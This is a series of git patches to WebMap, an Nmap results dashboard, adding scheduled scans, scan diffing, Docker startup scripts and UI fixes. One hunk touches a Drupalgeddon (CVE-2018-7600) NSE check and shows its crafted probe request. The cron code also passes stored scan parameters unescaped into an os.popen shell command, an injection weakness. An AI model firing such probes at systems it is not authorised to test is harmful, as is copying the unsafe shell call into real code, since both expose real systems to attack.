Pull WebMap from docker hub" +docker pull rev3rse/webmap +echo "[+] Remove old WebMap container" +docker stop webmap 2> /dev/null +docker rm webmap 2> /dev/null +echo "[+] Run WebMap container" docker run -d --name webmap -h webmap -p 8000:8000 -v /tmp/webmap:/opt/xml rev3rse/webmap +echo "[+] Configure TimeZone for container" +docker exec -ti webmap bash /root/tzdata.sh +echo "[+] Restart container" echo "[+] Done" echo -e "\nNow you can point your browser to http://localhost:8000" echo "Please, take few seconds to support this project on GitHub" diff --git a/docker/tzdata.sh b/docker/tzdata.sh new file mode 100644 index 0000000..cbc6202 --- /dev/null +++ b/docker/tzdata.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +unset DEBIAN_FRONTEND +dpkg-reconfigure tzdata From 027fdb44fedf3142819d9a2a658a6ce33318490e Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 15 Nov 2018 15:08:49 +0100 Subject: [PATCH 42/77] sort scan by start timestamp --- views.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/views.py b/views.py index 0015b6c..c6a10cb 100644 --- a/views.py +++ b/views.py @@ -319,7 +319,7 @@ def index(request, filterservice="", filterportid=""): try: oo = xmltodict.parse(open('/opt/xml/'+i, 'r').read()) except: - r['tr'][i] = {'filename':html.escape(i), 'startstr': 'Incomplete / Invalid', 'hostnum':0, 'href':'#!', 'portstats':{'po':0,'pc':0,'pf':0}} + r['tr'][i] = {'filename':html.escape(i), 'start': 0, 'startstr': 'Incomplete / Invalid', 'hostnum':0, 'href':'#!', 'portstats':{'po':0,'pc':0,'pf':0}} continue r['out2'] = json.dumps(oo['nmaprun'], indent=4) @@ -349,15 +349,16 @@ def index(request, filterservice="", filterportid=""): r['stats']['pc'] = (r['stats']['pc'] + portstats['pc']) r['stats']['pf'] = (r['stats']['pf'] + portstats['pf']) - r['tr'][i] = { + r['tr'][o['@start']] = { 'filename':filename, + 'start': o['@start'], 'startstr': html.escape(o['@startstr']), 'hostnum':hostnum, 'href':viewhref, 'portstats':portstats } - + r['tr'] = OrderedDict(sorted(r['tr'].items())) r['stats']['xmlcount'] = xmlfilescount return render(request, 'nmapreport/nmap_xmlfiles.html', r) From 7e5eac2d7f8d86cc796056fd95e0827ba5b4edde Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 15 Nov 2018 15:27:00 +0100 Subject: [PATCH 43/77] change docker entrypoint --- docker/Dockerfile | 3 ++- docker/startup.sh | 4 ++++ nmap/cron.py | 4 ++-- nmap/runcron.sh | 7 +++++++ 4 files changed, 15 insertions(+), 3 deletions(-) create mode 100644 docker/startup.sh create mode 100755 nmap/runcron.sh diff --git a/docker/Dockerfile b/docker/Dockerfile index 2232a82..daf5ba0 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -37,9 +37,10 @@ COPY settings.py /opt/nmapdashboard/nmapdashboard/ COPY urls.py /opt/nmapdashboard/nmapdashboard/ COPY vimrc /root/.vimrc COPY tzdata.sh /root/tzdata.sh +COPY startup.sh /startup.sh RUN cd /opt/nmapdashboard && python3 manage.py migrate EXPOSE 8000 -ENTRYPOINT ["python3", "/opt/nmapdashboard/manage.py", "runserver", "0:8000"] +ENTRYPOINT ["bash", "/startup.sh"] diff --git a/docker/startup.sh b/docker/startup.sh new file mode 100644 index 0000000..d61eebc --- /dev/null +++ b/docker/startup.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +bash /opt/nmapdashboard/nmapreport/nmap/runcron.sh > /dev/null 2>&1 & +python3 /opt/nmapdashboard/manage.py runserver 0:8000 diff --git a/nmap/cron.py b/nmap/cron.py index 7d5346c..2784891 100644 --- a/nmap/cron.py +++ b/nmap/cron.py @@ -20,7 +20,7 @@ def gethours(f): nextrun = (sched['lastrun'] + gethours(sched['params']['frequency'])) if nextrun <= time.time(): sched['number'] = (sched['number']+1) - print("run job "+str(sched['number'])+" "+str(nextrun)+" / "+str(time.time())) + print("[RUN] scan:"+sched['params']['filename']+" id:"+str(sched['number'])+" (nextrun:"+str(nextrun)+" / now:"+str(time.time())+")") sched['lastrun'] = time.time() @@ -33,5 +33,5 @@ def gethours(f): time.sleep(10) else: - print("none "+str(nextrun)+" / "+str(time.time())) + print("[SKIP] scan:"+sched['params']['filename']+" id:"+str(sched['number'])+" (nextrun:"+str(nextrun)+" / now:"+str(time.time())+")") diff --git a/nmap/runcron.sh b/nmap/runcron.sh new file mode 100755 index 0000000..d35dcaa --- /dev/null +++ b/nmap/runcron.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +while true; do + python3 /opt/nmapdashboard/nmapreport/nmap/cron.py && + echo "[SLEEP] for a while..." + sleep 10 +done From 4b99f732d43476958e12518413d91a3a32795a83 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 15 Nov 2018 15:58:03 +0100 Subject: [PATCH 44/77] fix setup script --- docker/setup.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/docker/setup.txt b/docker/setup.txt index 087ea3b..e2830bf 100644 --- a/docker/setup.txt +++ b/docker/setup.txt @@ -21,6 +21,7 @@ docker run -d --name webmap -h webmap -p 8000:8000 -v /tmp/webmap:/opt/xml rev3r echo "[+] Configure TimeZone for container" docker exec -ti webmap bash /root/tzdata.sh echo "[+] Restart container" +docker restart webmap echo "[+] Done" echo -e "\nNow you can point your browser to http://localhost:8000" echo "Please, take few seconds to support this project on GitHub" From 4faa13e5504debc63494c16a8d7dca5a3e29f2fd Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 22 Nov 2018 14:56:38 +0100 Subject: [PATCH 45/77] nmap scan, scheduled scan --- api.py | 29 +++-- functions.py | 138 ++++++++++++++++++++++++ ndiff.py | 126 ++++++++++++++++++++++ nmap/cron.py | 8 +- nmap/nse/CVE-2018-7600_drupalgeddon.nse | 2 - static/async.js | 4 +- templates/nmapreport/nmap_ndiff.html | 35 ++++++ urls.py | 6 +- views.py | 16 ++- 9 files changed, 340 insertions(+), 24 deletions(-) create mode 100644 ndiff.py create mode 100644 templates/nmapreport/nmap_ndiff.html diff --git a/api.py b/api.py index 2b57648..2554268 100644 --- a/api.py +++ b/api.py @@ -259,29 +259,28 @@ def apiv1_hostdetails(request, scanfile, faddress=""): else: lastportid = p['@portid'] - ss[p['service']['@name']] = p['service']['@name'] + v,z,e='','','' pp[p['@portid']] = p['@portid'] - v,z,e='','','' - if '@version' in p['service']: - v = p['service']['@version'] - #else: - # v = 'no-version' + servicename = '' + if 'service' in p: + ss[p['service']['@name']] = p['service']['@name'] + + if '@version' in p['service']: + v = p['service']['@version'] + + if '@product' in p['service']: + z = p['service']['@product'] - if '@product' in p['service']: - z = p['service']['@product'] - #else: - # z = 'no-product' + if '@extrainfo' in p['service']: + e = p['service']['@extrainfo'] - if '@extrainfo' in p['service']: - e = p['service']['@extrainfo'] - #else: - # e = 'no-info' + servicename = p['service']['@name'] if faddress != "": r['hosts'][address]['ports'].append({ 'port': p['@portid'], - 'name': p['service']['@name'], + 'name': servicename, 'state': p['state']['@state'], 'protocol': p['@protocol'], 'reason': p['state']['@reason'], diff --git a/functions.py b/functions.py index 388eac8..d682da3 100644 --- a/functions.py +++ b/functions.py @@ -112,3 +112,141 @@ def get_cve(scanmd5): #cvehost[m.group(1)][m.group(2)][m.group(3)] = open('/opt/notes/'+cf, 'r').read() return cvehost + +def get_ports_details(scanfile): + faddress = "" + oo = xmltodict.parse(open('/opt/xml/'+scanfile, 'r').read()) + out2 = json.dumps(oo['nmaprun'], indent=4) + o = json.loads(out2) + + r = {'file':scanfile, 'hosts': {}} + scanmd5 = hashlib.md5(str(scanfile).encode('utf-8')).hexdigest() + + # collect all labels in labelhost dict + labelhost = {} + labelfiles = os.listdir('/opt/notes') + for lf in labelfiles: + m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.host\.label$', lf) + if m is not None: + if m.group(1) not in labelhost: + labelhost[m.group(1)] = {} + labelhost[m.group(1)][m.group(2)] = open('/opt/notes/'+lf, 'r').read() + + # collect all notes in noteshost dict + noteshost = {} + notesfiles = os.listdir('/opt/notes') + for nf in notesfiles: + m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.notes$', nf) + if m is not None: + if m.group(1) not in noteshost: + noteshost[m.group(1)] = {} + noteshost[m.group(1)][m.group(2)] = open('/opt/notes/'+nf, 'r').read() + + # collect all cve in cvehost dict + cvehost = get_cve(scanmd5) + + for ik in o['host']: + + # this fix single host report + if type(ik) is dict: + i = ik + else: + i = o['host'] + + hostname = {} + if 'hostnames' in i and type(i['hostnames']) is dict: + # hostname = json.dumps(i['hostnames']) + if 'hostname' in i['hostnames']: + # hostname += '
' + if type(i['hostnames']['hostname']) is list: + for hi in i['hostnames']['hostname']: + hostname[hi['@type']] = hi['@name'] + else: + hostname[i['hostnames']['hostname']['@type']] = i['hostnames']['hostname']['@name']; + + if i['status']['@state'] == 'up': + po,pc,pf = 0,0,0 + ss,pp,ost = {},{},{} + lastportid = 0 + + if '@addr' in i['address']: + address = i['address']['@addr'] + elif type(i['address']) is list: + for ai in i['address']: + if ai['@addrtype'] == 'ipv4': + address = ai['@addr'] + + if faddress != "" and faddress != address: + continue + + addressmd5 = hashlib.md5(str(address).encode('utf-8')).hexdigest() + #cpe[address] = {} + + labelout = '' + if scanmd5 in labelhost: + if addressmd5 in labelhost[scanmd5]: + labelout = labelhost[scanmd5][addressmd5] + + notesout,notesb64,removenotes = '','','' + if scanmd5 in noteshost: + if addressmd5 in noteshost[scanmd5]: + notesb64 = noteshost[scanmd5][addressmd5] + # notesout = '
contains notes' + # removenotes = '

Remove notes

' + + cveout = '' + #cvecount = 0 + if scanmd5 in cvehost: + if addressmd5 in cvehost[scanmd5]: + cveout = json.loads(cvehost[scanmd5][addressmd5]) + # for cveobj in cvejson: + # cvecount = (cvecount + 1) + + + #if faddress == "": + # r['hosts'][address] = {'hostname':hostname, 'label':labelout, 'notes':notesb64} + #else: + r['hosts'][address] = {'ports':[], 'hostname':hostname, 'label':labelout, 'notes':notesb64, 'CVE':cveout} + + if 'ports' in i and 'port' in i['ports']: + for pobj in i['ports']['port']: + if type(pobj) is dict: + p = pobj + else: + p = i['ports']['port'] + + if lastportid == p['@portid']: + continue + else: + lastportid = p['@portid'] + + v,z,e='','','' + pp[p['@portid']] = p['@portid'] + + servicename = '' + if 'service' in p: + ss[p['service']['@name']] = p['service']['@name'] + + if '@version' in p['service']: + v = p['service']['@version'] + + if '@product' in p['service']: + z = p['service']['@product'] + + if '@extrainfo' in p['service']: + e = p['service']['@extrainfo'] + + servicename = p['service']['@name'] + + #if faddress != "": + r['hosts'][address]['ports'].append({ + 'port': p['@portid'], + 'name': servicename, + 'state': p['state']['@state'], + 'protocol': p['@protocol'], + 'reason': p['state']['@reason'], + 'product': z, + 'version': v, + 'extrainfo': e + }) + return r diff --git a/ndiff.py b/ndiff.py new file mode 100644 index 0000000..2593163 --- /dev/null +++ b/ndiff.py @@ -0,0 +1,126 @@ +from django.shortcuts import render +from django.http import HttpResponse +import xmltodict, json, html, os, hashlib, re, urllib.parse, base64 +from collections import OrderedDict +from nmapreport.functions import * + +def ndiff(request, f1, f2): + f = {} + + f['f1'] = get_ports_details(f1) + f['f2'] = get_ports_details(f2) + + r = get_diff(f['f1'],f['f2']) + + return HttpResponse(json.dumps(r, indent=4), content_type="application/json") + +def check_cve_id(cveid, cveobj): + for f1cvei in cveobj: + for cvei in f1cvei: + if cveid == cvei['id']: + return True + + return False + +def get_diff(f1,f2): + r = {'hosts':{}, 'ports':{}, 'cve':{}} + + # ports f1 > f2 + for host in f1['hosts']: + if host in f2['hosts']: + r['hosts'][host] = '=' + else: + r['hosts'][host] = '>' + + for i in f1['hosts'][host]['ports']: + if host not in r['ports']: + r['ports'][host] = {} + if i['port'] not in r['ports'][host]: + # r['ports'][host][i['port']] = {} + + r['ports'][host][i['port']] = { + 'port': '>', + 'name': '>', + 'state': '>', + 'product': '>', + 'extrainfo': '>', + 'diff': {} + } + + if host in f2['hosts']: + for f2p in f2['hosts'][host]['ports']: + if i['port'] == f2p['port']: + r['ports'][host][i['port']]['port'] = '=' + if i['name'] == f2p['name']: + r['ports'][host][i['port']]['name'] = '=' + if i['state'] == f2p['state']: + r['ports'][host][i['port']]['state'] = '=' + if i['product'] == f2p['product']: + r['ports'][host][i['port']]['product'] = '=' + if i['extrainfo'] == f2p['extrainfo']: + r['ports'][host][i['port']]['extrainfo'] = '=' + + r['ports'][host][i['port']]['diff']['f1'] = i + + # ports f1 < f2 + for host in f2['hosts']: + if host in f1['hosts']: + r['hosts'][host] = '=' + else: + r['hosts'][host] = '<' + + for i in f2['hosts'][host]['ports']: + if host not in r['ports']: + r['ports'][host] = {} + if i['port'] not in r['ports'][host]: + #r['ports'][host][i['port']] = {} + + r['ports'][host][i['port']] = { + 'port': '<', + 'name': '<', + 'state': '<', + 'product': '<', + 'extrainfo': '<', + 'diff': {} + } + + if host in f1['hosts']: + for f1p in f1['hosts'][host]['ports']: + if i['port'] == f1p['port']: + r['ports'][host][i['port']]['port'] = '=' + if i['name'] == f1p['name']: + r['ports'][host][i['port']]['name'] = '=' + if i['state'] == f1p['state']: + r['ports'][host][i['port']]['state'] = '=' + if i['product'] == f1p['product']: + r['ports'][host][i['port']]['product'] = '=' + if i['extrainfo'] == f1p['extrainfo']: + r['ports'][host][i['port']]['extrainfo'] = '=' + + r['ports'][host][i['port']]['diff']['f2'] = i + + + + for host in f1['hosts']: + if host not in r['cve']: + r['cve'][host] = {} + for f1cvei in f1['hosts'][host]['CVE']: + for cvei in f1cvei: + if host in f2['hosts']: + if check_cve_id(cvei['id'], f2['hosts'][host]['CVE']) is not False: + r['cve'][host][cvei['id']] = '=' + else: + r['cve'][host][cvei['id']] = '>' + + for host in f2['hosts']: + if host not in r['cve']: + r['cve'][host] = {} + for f2cvei in f2['hosts'][host]['CVE']: + for cvei in f2cvei: + if host in f1['hosts']: + if check_cve_id(cvei['id'], f1['hosts'][host]['CVE']) is not False: + r['cve'][host][cvei['id']] = '=' + else: + r['cve'][host][cvei['id']] = '<' + + return r diff --git a/nmap/cron.py b/nmap/cron.py index 2784891..b272a03 100644 --- a/nmap/cron.py +++ b/nmap/cron.py @@ -24,9 +24,11 @@ def gethours(f): sched['lastrun'] = time.time() - os.popen('nmap '+sched['params']['params']+' --script='+cdir+'/nse/ -oX /tmp/'+str(sched['number'])+'_'+sched['params']['filename']+'.active '+sched['params']['target']+' > /dev/null 2>&1 && '+ - 'sleep 10 && mv /tmp/'+str(sched['number'])+'_'+sched['params']['filename']+'.active /opt/xml/webmapsched_'+str(sched['lastrun'])+'_'+sched['params']['filename']+' && '+ - 'python3 '+cdir+'/cve.py webmapsched_'+str(sched['lastrun'])+'_'+sched['params']['filename']+' &') + nmapout = os.popen('nmap '+sched['params']['params']+' --script='+cdir+'/nse/ -oX /tmp/'+str(sched['number'])+'_'+sched['params']['filename']+'.active '+sched['params']['target']+' > /dev/null 2>&1 && '+ + 'sleep 5 && mv /tmp/'+str(sched['number'])+'_'+sched['params']['filename']+'.active /opt/xml/webmapsched_'+str(sched['lastrun'])+'_'+sched['params']['filename']+' && '+ + 'ls -lart /opt/xml/webmapsched_'+str(sched['lastrun'])+'_'+sched['params']['filename']+' && python3 '+cdir+'/cve.py webmapsched_'+str(sched['lastrun'])+'_'+sched['params']['filename']+'').readlines() + + print(nmapout) f = open(cdir+'/schedule/'+i, "w") f.write(json.dumps(sched, indent=4)) diff --git a/nmap/nse/CVE-2018-7600_drupalgeddon.nse b/nmap/nse/CVE-2018-7600_drupalgeddon.nse index b1b5cf4..d09cb3e 100644 --- a/nmap/nse/CVE-2018-7600_drupalgeddon.nse +++ b/nmap/nse/CVE-2018-7600_drupalgeddon.nse @@ -42,8 +42,6 @@ action = function(host, port) opt['header'] = headers local res = http.generic_request(host, port, 'POST', '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', opt) - -- out = out .. res.body .. "\n" - if(string.find(res.body, "65a5491770d940220151cf40fa070463")) then out.vuln = "Drupal VULNERABLE to CVE-2018-7600" out.isvulnerable = true diff --git a/static/async.js b/static/async.js index 8feca80..ca07cc8 100644 --- a/static/async.js +++ b/static/async.js @@ -17,7 +17,7 @@ function checkActiveScan() { $('#activescancard').css('display','block'); $('#activescan').append( '

'+ - '

'+c+'

'+ + '

'+c+'

'+ '

Filename:
'+i+'

'+ '

Start at: '+d['scans'][i]['startstr']+'
Type: '+d['scans'][i]['type']+', Protocol: '+d['scans'][i]['protocol']+'

'+ '

'+ @@ -33,6 +33,8 @@ function checkActiveScan() { '

reload

'+ '

' ); + + setTimeout(function() { location.reload(); }, 5000); } } diff --git a/templates/nmapreport/nmap_ndiff.html b/templates/nmapreport/nmap_ndiff.html new file mode 100644 index 0000000..be69594 --- /dev/null +++ b/templates/nmapreport/nmap_ndiff.html @@ -0,0 +1,35 @@ +{% extends "nmapreport/main.html" %} + +{% block content %} + this section is under development +

+ Hosts +

+ + + + {{ js|safe }} + +{% endblock %} diff --git a/urls.py b/urls.py index 878473f..1ac7b6c 100644 --- a/urls.py +++ b/urls.py @@ -1,5 +1,5 @@ from django.urls import path -from . import views, api, pdf, network, functions_nmap +from . import views, api, pdf, network, functions_nmap, ndiff urlpatterns = [ path('', views.index, name='index'), @@ -13,6 +13,7 @@ path('api/v1/scan', api.apiv1_scan, name='apiv1_scan'), path('api/v1/nmap/scan/active', functions_nmap.nmap_scaninfo, name='apiv1_scan_active'), path('api/v1/nmap/scan/new', functions_nmap.nmap_newscan, name='apiv1_scan_new'), + path('api/v1/nmap/ndiff//', ndiff.ndiff, name='ndiff'), path('api/setlabel////', api.label, name='api_label'), path('api/rmlabel///', api.rmlabel, name='api_rmlabel'), path('api/pdf/', api.genPDF, name='genPDF'), @@ -21,5 +22,6 @@ path('api/rmnotes//', api.rmNotes, name='api_rmnotes'), path('api/

//', api.port_details, name='api_port'), path('view/pdf/', pdf.reportPDFView, name='reportPDFView'), - path('view/network/', network.visjs, name='network_view') + path('view/network/', network.visjs, name='network_view'), + path('view/ndiff//', views.scan_diff, name='ndiffview') ] diff --git a/views.py b/views.py index c6a10cb..bfbf1d3 100644 --- a/views.py +++ b/views.py @@ -556,7 +556,7 @@ def index(request, filterservice="", filterportid=""): cvecount = (cvecount + 1) if cvecount > 0: - cveout = ' '+str(cvecount)+' CVE found' + cveout = ' '+str(cvecount)+' CVE found' if (filterservice != "" and striggered is True) or (filterportid != "" and striggered is True) or (filterservice == "" and filterportid == ""): portstateout = '

'+\ @@ -724,6 +724,20 @@ def index(request, filterservice="", filterportid=""): return render(request, 'nmapreport/nmap_hostdetails.html', r) +def scan_diff(request, f1, f2): + r = {} + + try: + if xmltodict.parse(open('/opt/xml/'+f1, 'r').read()) is not None: + r['f1'] = f1 + if xmltodict.parse(open('/opt/xml/'+f2, 'r').read()) is not None: + r['f2'] = f2 + except: + r['f1'] = '' + r['f2'] = '' + + return render(request, 'nmapreport/nmap_ndiff.html', r) + def about(request): r = {} return render(request, 'nmapreport/nmap_about.html', r) From 03f4caf3916ffaf3912efbd429e1a1a50fb5113a Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 22 Nov 2018 15:24:50 +0100 Subject: [PATCH 46/77] update setup and readme --- README.md | 26 +++++++++++++++++++++----- docker/setup.txt | 1 + 2 files changed, 22 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index b836774..71b2302 100644 --- a/README.md +++ b/README.md @@ -65,11 +65,16 @@ but if you need it you can find all building steps inside the [Dockerfile](https ## Video The HTML template changes often. This video could not be up to date with the latest version. -[![IMAGE ALT TEXT HERE](https://img.youtube.com/vi/TujtG1Ki0TQ/0.jpg)](https://www.youtube.com/watch?v=TujtG1Ki0TQ) +HackerSploit Video about WebMap:
+[![HackerSploit](https://img.youtube.com/vi/SoEIDNnOCGY/0.jpg)](https://www.youtube.com/watch?v=SoEIDNnOCGY) +
+Official Video of v2.1:
+[![WebMap v2.1](https://img.youtube.com/vi/TujtG1Ki0TQ/0.jpg)](https://www.youtube.com/watch?v=TujtG1Ki0TQ) ## Features - Import and parse Nmap XML files +- Run and Schedule Nmap Scan from dashboard - Statistics and Charts on discovered services, ports, OS, etc... - Inspect a single host by clicking on its IP address - Attach labels on a host @@ -79,6 +84,21 @@ The HTML template changes often. This video could not be up to date with the lat - Search for CVE and Exploits based on CPE collected by Nmap - RESTful API +## Roadmap for v2.3x +You love WebMap and you know python? We need your help! This is what we want deploy for the v2.3: +- [todo] Improve template: try to define better the html template and charts +- [todo] Improve API: create a documentation/wiki about it +- [todo] Wiki: create WebMap User Guide on GitHub +- [todo] Authentication or something that could blocks access to WebMap if != localhost +- [working] Scan diff: show difference between two scheduled nmap scan report +- [todo] Zaproxy: Perform web scan using the OWASP ZAP API + +## Changes on v2.2 +- fixed bug on missing services +- Run nmap from WebMap +- Schedule nmap run +- Add custom NSE scripts section + ## Changes on v2.1 - Better usage of Django template - Fixed some Nmap XML parse problems @@ -265,10 +285,6 @@ informations about your port scan. Please, be smart. This project is currently a beta, and I'm not super skilled on Django so, every type of contribution is appreciated. I'll mention all contributors in this section of the README file. -### Contributors List -- s3th_0x [@adubaldo](https://github.com/adubaldo) (bug on single host report) -- Neetx [@Neetx](https://github.com/Neetx) (bug on xml with no host up) - ## Contacts In order to receive updates about this project, please follow me on twitter:
Twitter: [@Menin_TheMiddle](https://twitter.com/Menin_TheMiddle)
diff --git a/docker/setup.txt b/docker/setup.txt index e2830bf..bf3bdfb 100644 --- a/docker/setup.txt +++ b/docker/setup.txt @@ -24,5 +24,6 @@ echo "[+] Restart container" docker restart webmap echo "[+] Done" echo -e "\nNow you can point your browser to http://localhost:8000" +echo "!! DO NOT EXPOSE WebMap TO THE INTERNET, BE SMART !!" echo "Please, take few seconds to support this project on GitHub" echo -e "https://github.com/Rev3rseSecurity/WebMap\n" From 686346108f1b82c65dba016db51ba4b745a345b3 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 23 Nov 2018 10:36:09 +0100 Subject: [PATCH 47/77] fix issue #35 --- views.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/views.py b/views.py index bfbf1d3..fc37560 100644 --- a/views.py +++ b/views.py @@ -211,8 +211,13 @@ def details(request, address): 'State: filtered
Reason: '+p['state']['@reason']+''+\ '' else: + if 'service' in p: + servicename = p['service']['@name'] + else: + servicename = '' + r['tr'][p['@portid']] = { - 'service': p['service']['@name'], + 'service': servicename, 'protocol': p['@protocol'], 'portid': p['@portid'], 'state': p['state']['@state'], From 62ba973e3ce1f02287802982a4573506c4bf76aa Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 23 Nov 2018 14:45:58 +0100 Subject: [PATCH 48/77] fix issue #35 --- views.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/views.py b/views.py index fc37560..0a16159 100644 --- a/views.py +++ b/views.py @@ -225,7 +225,7 @@ def details(request, address): 'pel': str(pel) } r['trhost'] += ''+p['@protocol']+' / '+p['@portid']+'
'+\ - ''+p['service']['@name']+''+\ + ''+servicename+''+\ 'State: '+p['state']['@state']+'
Reason: '+p['state']['@reason']+''+\ '' From be4532aae42e2050cdc5ddcb474ba98da63efb3c Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 23 Nov 2018 17:37:17 +0100 Subject: [PATCH 49/77] fix issue #35 --- views.py | 43 ++++++++++++++++++++++++------------------- 1 file changed, 24 insertions(+), 19 deletions(-) diff --git a/views.py b/views.py index 0a16159..b2c9358 100644 --- a/views.py +++ b/views.py @@ -145,29 +145,34 @@ def details(request, address): v,z,e = '','','N/A' if p['state']['@state'] == 'open': - if '@version' in p['service']: - v = p['service']['@version'] - else: - v = 'No Version' + if 'service' in p: + if '@version' in p['service']: + v = p['service']['@version'] + else: + v = 'No Version' - if '@product' in p['service']: - z = p['service']['@product'] - else: - z = 'No Product' + if '@product' in p['service']: + z = p['service']['@product'] + else: + z = 'No Product' - if '@extrainfo' in p['service']: - e = p['service']['@extrainfo'] + if '@extrainfo' in p['service']: + e = p['service']['@extrainfo'] - cpe = '' - if 'cpe' in p['service']: - if type(p['service']['cpe']) is list: - for cpei in p['service']['cpe']: - cpe += '

'+html.escape(cpei)+'

' - else: - cpe = '

'+html.escape(p['service']['cpe'])+'

' + cpe = '' + if 'cpe' in p['service']: + if type(p['service']['cpe']) is list: + for cpei in p['service']['cpe']: + cpe += '

'+html.escape(cpei)+'

' + else: + cpe = '

'+html.escape(p['service']['cpe'])+'

' + + servicename = p['service']['@name'] + else: + servicename = '' r['tr'][p['@portid']] = { - 'service': p['service']['@name'], + 'service': servicename, 'protocol': p['@protocol'], 'portid': p['@portid'], 'product': z, @@ -180,7 +185,7 @@ def details(request, address): } r['trhost'] += ''+\ - ''+p['service']['@name']+'
'+\ + ''+servicename+'
'+\ ''+p['@protocol']+' / '+p['@portid']+''+\ ''+\ ''+z+' / '+v+'
State: '+p['state']['@state']+'
Reason: '+p['state']['@reason']+''+\ From 17a392545fb356a3ce19038108b196d53133fc54 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 3 Dec 2018 11:22:05 +0000 Subject: [PATCH 50/77] new side nav --- static/async.js | 135 ++++++++++++++++++++---- templates/nmapreport/main.html | 97 ++++++++++++++++- templates/nmapreport/nmap_xmlfiles.html | 10 +- 3 files changed, 212 insertions(+), 30 deletions(-) diff --git a/static/async.js b/static/async.js index ca07cc8..3ddda6f 100644 --- a/static/async.js +++ b/static/async.js @@ -1,39 +1,123 @@ var active_scan_timer; +var wmover = false; +var wmopen = false; $(document).ready(function() { // doc ready active_scan_timer = setInterval(function() { checkActiveScan(); }, 2000); $('select').formSelect(); + + $.get('https://api.github.com/repos/Rev3rseSecurity/WebMap').done(function(d) { + $('#githubstar').html(d['stargazers_count']+' stars'); + $('#githubfork').html(d['forks']+' forks'); + }); + + var wminterval = setInterval(function() { + if(!wmover) { + $('.wm_menu').animate({ + width:'44px' + }, { + queue:false, + start: function() { + $('.wm_menu > ul > li > a').each(function() { $(this).css('display','none'); }); + $('.wm_menu > ul > section > li > a').each(function() { $(this).css('display','none'); }); + }, + done: function() { + wmopen = false; + $('.wm_menu').scrollTop(0); + $('.wm_menu').css('overflow-y','hidden'); + } + }); + } + }, 2000); + + $('.wm_menu').css('height', ($(window).height()-120)+'px'); + + $('.wm_menu').click(function() { + wmover = true; + + $(this).animate({ + width:'240px' + }, { + queue:false, + done: function() { + $('.wm_menu > ul > li > a').each(function() { $(this).stop().show(); }); + $('.wm_menu > ul > section > li > a').each(function() { $(this).stop().show(); }); + wmopen = true; + $('.wm_menu').css('overflow-y','scroll'); + } + }); + }); + + $('.wm_menu').mouseover(function() { + wmover = true; + }); + + $('.wm_menu').mouseout(function() { + if(wmover) { + wmover = false; + } + }); + }); function checkActiveScan() { $.get('/api/v1/nmap/scan/active').done(function(d) { - console.log(d); - $('#activescan').html(''); + // console.log(d); + $('#activescan_info').html(''); var c = 0; for(i in d['scans']) { c = (c + 1); if(d['scans'][i]['status'] == 'active') { - $('#activescancard').css('display','block'); - $('#activescan').append( - '

'+ - '

'+c+'

'+ - '

Filename:
'+i+'

'+ - '

Start at: '+d['scans'][i]['startstr']+'
Type: '+d['scans'][i]['type']+', Protocol: '+d['scans'][i]['protocol']+'

'+ - '

' - ); + + $('#activescan_line').css('display','block'); + $('#activescan_info').css('display','block'); + $('#activescan_progress').css('display','block'); + $('#activescan_info').append('

'+ + ' '+ + ''+i+''+ + '

'+ + '

'+ + ' '+ + ''+d['scans'][i]['startstr']+''+ + '

'+ + '

'+ + ' '+ + ''+d['scans'][i]['type']+' '+d['scans'][i]['protocol']+''+ + '

'); + + if(wmover && wmopen) { + $('.wm_menu > ul > li > a').each(function() { + $(this).stop().show(); + }); + $('.wm_menu > ul > section > li > a').each(function() { + $(this).stop().show(); + }); + } } else { - $('#activescancard').css('display','block'); - $('#activescan').append( - '

'+ - '

Filename:
'+i+'

'+ - '

Start at: '+d['scans'][i]['startstr']+'
Type: '+d['scans'][i]['type']+', Protocol: '+d['scans'][i]['protocol']+'

'+ - '

'+d['scans'][i]['summary']+'

'+ - '

reload

'+ - '

' - ); + $('#activescan_line').css('display','block'); + $('#activescan_info').css('display','block'); + $('#activescan_info').append('

'+ + ' '+ + ''+i+''+ + '

'+ + '

'+ + ' '+ + ''+d['scans'][i]['startstr']+''+ + '

'+ + '

'+ + ' '+ + ''+d['scans'][i]['type']+' '+d['scans'][i]['protocol']+''+ + '

'); + $('#activescan_progress').css('display','none'); + + if(wmover && wmopen) { + $('.wm_menu > ul > li > a').each(function() { $(this).stop().show(); }); + $('.wm_menu > ul > section > li > a').each(function() { $(this).stop().show(); }); + } + + swal("Done!", "Your Nmap scan is done. reload this page...", "success"); setTimeout(function() { location.reload(); }, 5000); } } @@ -62,9 +146,11 @@ function newscan() { ' '+ '

'+ '

'+ - '

Schedule:

Frequency:

'+ - '

OffOn

'+ - '

'+ + '

Frequency:

'+ + '

